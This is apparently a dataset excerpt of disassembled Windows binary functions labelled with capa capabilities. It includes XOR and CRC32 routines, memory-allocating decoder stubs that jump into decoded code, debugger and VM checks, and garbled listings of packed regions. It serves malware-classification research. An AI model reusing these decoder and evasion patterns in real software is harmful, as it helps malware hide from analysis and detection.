joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100ed9f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100eda03
pop dword [ebp - 0x10]
mov eax, 0xb4f33bcb
add eax, 0x5b1b9e38
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x8e967
push 0
mov eax, 0xa42fa3cc
add eax, 0x6be5dd60
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x4dbc690b
add ecx, 0xb243f156
mov esi, eax
mov edi, 0xe0c23e05
add edi, 0x2f5ebbfb
add edi, dword [ebp - 0x10]
mov edx, 0x43a99c90
add edx, 0x8ca03620
sub dword [ebp - 0xc], 0xff22f61c
mov ebx, dword [edi]
xor dword [ebp - 4], 0x72154275
xor ebx, edx
mov dword [esi], ebx
xor dword [ebp - 0xc], edi
add esi, 0x32ae9bc9
add esi, 0xcd51643b
add edi, 0xad7f49c5
add edi, 0x5280b63f
loop 0x100eda62
add eax, 0x4c085abd
add eax, 0xb3f9019a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x4064e8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x40650c
xor eax, eax
test eax, eax
je 0x40651f
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40651f
xor ecx, ecx
jmp 0x406522
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406609
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x406640
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40661a
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x406615
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406671
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x406653
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40605e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406082
xor eax, eax
test eax, eax
je 0x406094
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406094
xor ecx, ecx
jmp 0x406097
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
leave
ret 4

Function at 0x40613d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42be14], 0
push esi
jne 0x406174
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x40614e
mov dword [ecx*4 + 0x42be10], eax
inc ecx
cmp ecx, 0x100
jl 0x406149
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4061a5
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42be10]
xor eax, esi
inc ecx
dec edx
jne 0x406187
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40c838
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407077
mov dword [ebp - 0x14], eax
cmp dword [0x43f154], esi
jne 0x40c92b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c8b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40ca0b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40ca0b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ca0b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43f154], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43f158], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43f15c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43f164], eax
test eax, eax
je 0x40c928
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43f160], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c950
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c943
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c965
push 4
pop eax
jmp 0x40ca0d
cmp dword [ebp - 0x14], esi
je 0x40c965
push dword [0x43f154]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c94a
mov eax, dword [0x43f160]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c9c3
cmp dword [0x43f164], edi
je 0x40c9c3
push eax
call ebx
push dword [0x43f164]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c9c3
test eax, eax
je 0x40c9c3
call ecx
test eax, eax
je 0x40c9b8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c9b8
test byte [ebp - 8], 1
jne 0x40c9c3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c9f3
mov eax, dword [0x43f158]
cmp eax, edi
je 0x40c9f0
push eax
call ebx
test eax, eax
je 0x40c9f0
call eax
mov esi, eax
test esi, esi
je 0x40c9f0
mov eax, dword [0x43f15c]
cmp eax, edi
je 0x40c9f0
push eax
call ebx
test eax, eax
je 0x40c9f0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43f154]
call ebx
test eax, eax
je 0x40ca0b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40ca0d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f8b
mov esp, ebp
pop ebp
ret
Function at 0x2a83cb82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x2a83cb91
pop dword [ebp - 0x10]
mov eax, 0x96eff695
sub eax, 0x6c6c2b04
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x6ba23c65
sub dword [ebp - 0x20], 0x1d4ff71a
mov dword [ebp - 0x1c], 0xec5c3e24
sub dword [ebp - 0x1c], 0xba28f1df
mov dword [ebp - 0x18], 0xee47be03
add dword [ebp - 0x18], 0x5e04862b
mov dword [ebp - 0x14], 0x33abf4fe
add dword [ebp - 0x14], 0xcc540b02
lea eax, [ebp - 0x20]
push eax
mov eax, 0x8a51b90e
sub eax, 0x5fcc97ca
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x39439c09
add dword [ebp - 0x20], 0x3b2ecd4d
mov dword [ebp - 0x1c], 0xcc8051d9
add dword [ebp - 0x1c], 0x74ec0f9c
mov dword [ebp - 0x18], 0xe3da0d34
add dword [ebp - 0x18], 0x7f955f38
mov dword [ebp - 0x14], 0x81f44474
sub dword [ebp - 0x14], 0x81f44474
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0xabd27c44
sub eax, 0x814d5b08
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x48067
push 0
call eax
mov ecx, 0xd213d946
add ecx, 0x2dec65ec
xor edx, edx
add edx, eax
mov ebx, 0x2a87ea00
add ebx, dword [ebp - 0x10]
mov edi, 0x76687cb7
xor dword [ebp - 4], 0x860fdd2
mov esi, dword [ebx]
add esi, edi
mov dword [ebp - 8], 0x40a6722c
mov dword [edx], esi
sub dword [ebp - 0xc], 0xe0bef6c1
add edx, 0x3eb1f0b0
add edx, 0xc14e0f54
add ebx, 0x849a1fca
sub ebx, 0x849a1fc6
loop 0x2a83cca9
add eax, 0x56fc88dc
add eax, 0xa90466bf
mov ebx, eax
add eax, 0x4bdfd66b
sub eax, 0x4bdfd666
mov ecx, 0x300e15f8
add ecx, 0xfa71ea08
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401112
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431030]
jne 0x40111c
repz ret
jmp fcn.00401d31

Function at 0x409100
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040587e
and dword [ebp - 4], 0
cmp dword [0x433790], 0
mov ebx, eax
jne 0x4091b1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409262
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409262
push eax
call fcn.0040580c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x433790], eax
call esi
push eax
call fcn.0040580c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x433794], eax
call esi
push eax
call fcn.0040580c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x433798], eax
call esi
push eax
call fcn.0040580c
pop ecx
mov dword [0x4337a0], eax
test eax, eax
je 0x4091b1
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040580c
pop ecx
mov dword [0x43379c], eax
mov eax, dword [0x43379c]
cmp eax, ebx
je 0x409209
cmp dword [0x4337a0], ebx
je 0x409209
push eax
call fcn.00405887
push dword [0x4337a0]
mov esi, eax
call fcn.00405887
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409209
test edi, edi
je 0x409209
call esi
test eax, eax
je 0x409200
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409200
test byte [ebp - 0xc], 1
jne 0x409209
or dword [ebp + 0x10], 0x200000
jmp 0x409242
mov eax, dword [0x433794]
cmp eax, ebx
je 0x409242
push eax
call fcn.00405887
pop ecx
test eax, eax
je 0x409242
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409242
mov eax, dword [0x433798]
cmp eax, ebx
je 0x409242
push eax
call fcn.00405887
pop ecx
test eax, eax
je 0x409242
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x433790]
call fcn.00405887
pop ecx
test eax, eax
je 0x409262
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409264
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b130
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x431030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2aec1cc]
push ebx
mov ebx, dword [0x2aebeec]
push esi
mov esi, dword [0x431f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b171
push str.wozekajevirifegavonetucusiva
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2aec1cc]
mov dword [0x2aebee8], esi
cmp eax, 0x114e
jne 0x40b199
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x14]
push eax
push str.gavipokucohuj
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2aec1cc]
cmp eax, 0x2f
jne 0x40b1bb
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
call fcn.0040b060
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401112
add esp, 0x428
ret
Function at 0x40b15f
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x431030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2aec1cc]
push ebx
mov ebx, dword [0x2aebeec]
push esi
mov esi, dword [0x431f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b171
push str.wozekajevirifegavonetucusiva
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2aec1cc]
mov dword [0x2aebee8], esi
cmp eax, 0x114e
jne 0x40b199
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x14]
push eax
push str.gavipokucohuj
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2aec1cc]
cmp eax, 0x2f
jne 0x40b1bb
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
call fcn.0040b060
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401112
add esp, 0x428
ret
Function at 0x40c818
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004075d7
mov dword [ebp - 0x14], eax
cmp dword [0x437894], esi
jne 0x40c90b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c898
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c9eb
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c9eb
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c9eb
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x437894], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x437898], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43789c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4378a4], eax
test eax, eax
je 0x40c908
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4378a0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c930
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c923
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c945
push 4
pop eax
jmp 0x40c9ed
cmp dword [ebp - 0x14], esi
je 0x40c945
push dword [0x437894]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c92a
mov eax, dword [0x4378a0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c9a3
cmp dword [0x4378a4], edi
je 0x40c9a3
push eax
call ebx
push dword [0x4378a4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c9a3
test eax, eax
je 0x40c9a3
call ecx
test eax, eax
je 0x40c998
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c998
test byte [ebp - 8], 1
jne 0x40c9a3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c9d3
mov eax, dword [0x437898]
cmp eax, edi
je 0x40c9d0
push eax
call ebx
test eax, eax
je 0x40c9d0
call eax
mov esi, eax
test esi, esi
je 0x40c9d0
mov eax, dword [0x43789c]
cmp eax, edi
je 0x40c9d0
push eax
call ebx
test eax, eax
je 0x40c9d0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x437894]
call ebx
test eax, eax
je 0x40c9eb
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c9ed
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f7e
mov esp, ebp
pop ebp
ret
Function at 0x1703d59
Capabilities:
Encode data using base64

Disassembly:
shr eax, 1
pushal
lea esp, [esp + 0x30]
je 0x1715946
pushal
adc ecx, ecx
pushal
pushfd
lea esp, [esp + 0x44]
jmp 0x17067b0

Function at 0x1707ca7
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 4]
jae 0x1ec1b3c
pushal
xor ecx, ecx
mov byte [esp + 4], 0xdb
pushal
lea esp, [esp + 0x40]
call int.0170a0e0
pushal
mov dword [esp + 4], ecx
mov word [esp], ax
lea esp, [esp + 0x20]
jae 0x1ea2cc9
clc
xor eax, eax
push esi
pushal
lea esp, [esp + 0x24]
call int.0170a0e0
pushfd
call fcn.0171b407
cld
and eax, dword [eax]
add byte [eax + ebp*8 + 0x1371d], bl
out 0xd8, al
dec esi
xor ebp, edx
cld
push cs
jbe 0x1707ce0
xchg edi, eax
cmpsd dword [esi], dword es:[edi]
adc eax, 0x98a705b2
cmpsb byte [esi], byte es:[edi]
adc eax, 0x53ef58ce
salc
sub eax, ebp
invalid
sub al, 8
mov ebx, 0x57cc6ab5
popal
loopne 0x1ea2ccc
popfd
mov bl, 0x45
pushfd
call fcn.01ec7ad4
dec esi
add al, byte [eax]
mov ebp, 0x2f92d180
lcall 0xc980, 0xfc6ab3a0
xchg byte [edx + 5], dl
mov eax, 0x802440ca
sbb al, 0x50
in al, 0x61
outsd dx, dword [esi]
mov ebp, 0x2a3ae2c
shl byte [eax + eax*4 + 0x2b], cl
fisttp word [ebp - 0x7f63b550]
js 0x1ea2d4b
fisub dword [ebx]
dec ecx
mov ecx, ebx
loopne 0x1ea2cbb
mov bl, 0x28
daa
invalid
retf 0x7972
push 0xe3c3dcbd
pushal
call fcn.017201c5
Function at 0x1708328
Capabilities:
Check for vm using instruction vpcext

Disassembly:
lea esp, [esp + 0x30]
je 0x1e9d8ea
jmp 0x1ea0cd2
sbb byte [esi - 0x22b9b1cd], ah
cld
mov ecx, es
pop ebx
adc esi, dword [edx]
int 0x31
mov esp, 0x5aef7150
salc
push 0xffffffffffffffdf
not dword [edx + 0x4b721f30]
xor eax, 0x7021afcf
std
adc eax, 0x89dbb490
inc ebp
cld
mov dword [ebp - 4], eax
push 0xfd1db02a
mov byte [esp], 0xd9
mov dword [esp], eax
movsx eax, cl
push 0x20ed6c49
mov dword [esp], 0
push eax
cwde
sete ah
movsx ax, cl
lea eax, sym.imp.kernel32.dll_LocalAlloc
pushfd
call fcn.01702b1c
pushfd
call fcn.01ea194c
pop es
jp 0x1ea0d27
jne 0x1ea0cab
push cs
xor byte [ebx - 0x5fa55728], ch
dec ebx
sbb eax, 0x358530f1
or al, 0x2d
push esp
push es
invalid
insd dword es:[edi], dx
push 0x47af80cb
pop ebx
jbe 0x1ea0d7f
adc bl, byte [ebx + 4]
cmp eax, 0x46df11af
mov bh, 0xc9
cmp bl, dl
stc
push edi
push ds
adc eax, 0x60e940fa
add eax, 0x52e9128a
rcr dword [edi - 0x42], 1
in eax, 0xb7
mov esi, 0x22d3b7e5
shl dword [edx], cl
sti
sti
imul esi, dword [eax], 0x3e
mov eax, 0x66e21647
test eax, 0xfde2a482
jno 0x1ea0d4c
sbb dh, byte [ebp + 0x4608bb7c]
push eax
mov dh, 0xb0
mov al, 0xe5
xchg edi, eax
mov ebx, 0xb6504608
mov al, 0xb0
in eax, 0x97
inc edx
aad 0x77
inc edi
sal ebx, cl
nop
mov al, 0x8b
xor cl, ah
jmp 0x1ea0cff
loope 0x1ea0d65
test byte [ecx - 0x23], cl
js 0x1ea0d4f
outsd dx, dword [esi]
dec esi
out dx, eax
outsd dx, dword [esi]
adc dword [eax + 0x74ae62bd], edx
outsd dx, dword [esi]
je 0x1ea0df9
fsubrp st(4)
sar dword [edx + edx + 0x764b6e55], cl
mov al, byte [0xc53b641f]
pop ds
cmp eax, ebp
rol bh, 0xf
mov esi, 0xc7a912dc
mov esi, 0xd83e272b
adc edx, dword [ebp - 0x5ed2ebd6]
inc ecx
rcr byte [edi + 0x43], 0x6c
mov esp, 0xf61485c0
sbb eax, 0xe567e409
cld
out dx, al
mov cl, 0xb1
imul ebx, dword [esi + 0xe669b9e], 0xffffffaf
daa
in al, dx
mov al, byte [0xc8eabc6f]
ja 0x1ea0d88
jns 0x1ea0d78
jl 0x1ea0dfc
mov ss, word [edi]
call 0x8eeeb92f
mov byte [0xb797a713], al
mov esi, 0xced0443a
or ebx, dword [0xc1b6444d]
jge 0x1ea0d94
sbb eax, 0xae943a34
inc esi
cmp dh, ah
insd dword es:[edi], dx
jae 0x1ea0e6e
jb 0x1ea0d81
outsb dx, byte [esi]
rcr eax, 1
int3
fmul st(4)
jecxz 0x1ea0dab
pop edi
imul eax, dword [0xde9fddfa], 0xaf3e3834
invalid
cmp al, 0x13
out 0xe6, eax
jnp 0x1ea0df8
cdq
inc ebp
pushal
in al, dx
pop ebx
sub byte [ecx - 0xa], dh
sbb byte [edx - 0x2ee9ae11], cl
sbb eax, 0xef9e25ae
mov gs, word [ebx + 4]
jle 0x1ea0dfa
mov edx, 0x369be7a6
sub dword [eax], edi
inc esi
mov ebp, 0x54161104
in al, dx
sal byte [ecx + 0x4a], 1
leave
mov ah, 0x98
push cs
test dword [ecx + 0xa4dc79], edx
scasd eax, dword es:[edi]
jb 0x1ea0e4e
mov dh, byte [esi]
add bh, dh
xor dword [eax - 0x42cf68dc], ecx
jb 0x1ea0e5b
mov ebp, esp
xlatb
fdivrp st(0)
or byte [ecx + 0x49fe592c], 0
enter 0x4eb5, 0xffffffffffffffb3
or dl, byte [edi]
mov dl, 0xd4
jmp 0x1b58c066
Function at 0x1716650
Capabilities:
Encode data using xor

Disassembly:
pushal
mov byte [edi - 1], 0
movzx ax, cl
setb ah
bswap ax
mov dword [esp + 0x20], ebx
movsx eax, bl
movzx ax, cl
pushal
cwde
lea eax, [0x1ea9eb4]
mov byte [esp], bl
pushfd
mov dword [esp + 0x40], 0x1eabdbe
call fcn.01710124
ja 0x1716369
outsb dx, byte [esi]
insd dword es:[edi], dx
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ecx + edi*2], al
aam 0xa9
cmc
std
push cs
cwde
push 0xffffffffffffff98
adc al, 0x66
adc al, 0x83
sub ah, dl
imul edx, dword [esp + esi + 0x5b190f41], 0x48
push esi
stosb byte es:[edi], al
invalid
leave
dec ebp
dec edi
salc
invalid
lea esp, [esp + 8]
jne 0x1702b3d
pushfd
jmp 0x17162cb

Function at 0x1716da7
Capabilities:
Encode data using base64

Disassembly:
push ecx
mov byte [esp], bh
clc
cmp ah, 5
push esp
pushfd
mov byte [esp + 8], cl
call fcn.017145fd
xor al, 0xe1
clc
sub al, 0xa5
pushfd
pushfd
cmp cl, 0xfb
pushfd
not al
clc
cmp ah, 0x49
sub al, 0x43
push 0x63decf98
lea esp, [esp + 0x4c]
call fcn.016feda8
cmp ch, bl
cmp eax, 0x7d00
jmp 0x17213d7
push 0xf0a649bb
pushal
push edx
lea esp, [esp + 0x28]
jae 0x17067b0
jmp 0x1710041

Function at 0x1717a3c
Capabilities:
Check for software breakpoints

Disassembly:
pushfd
cmp ah, 0xcc
test edi, edi
call fcn.01ead1fe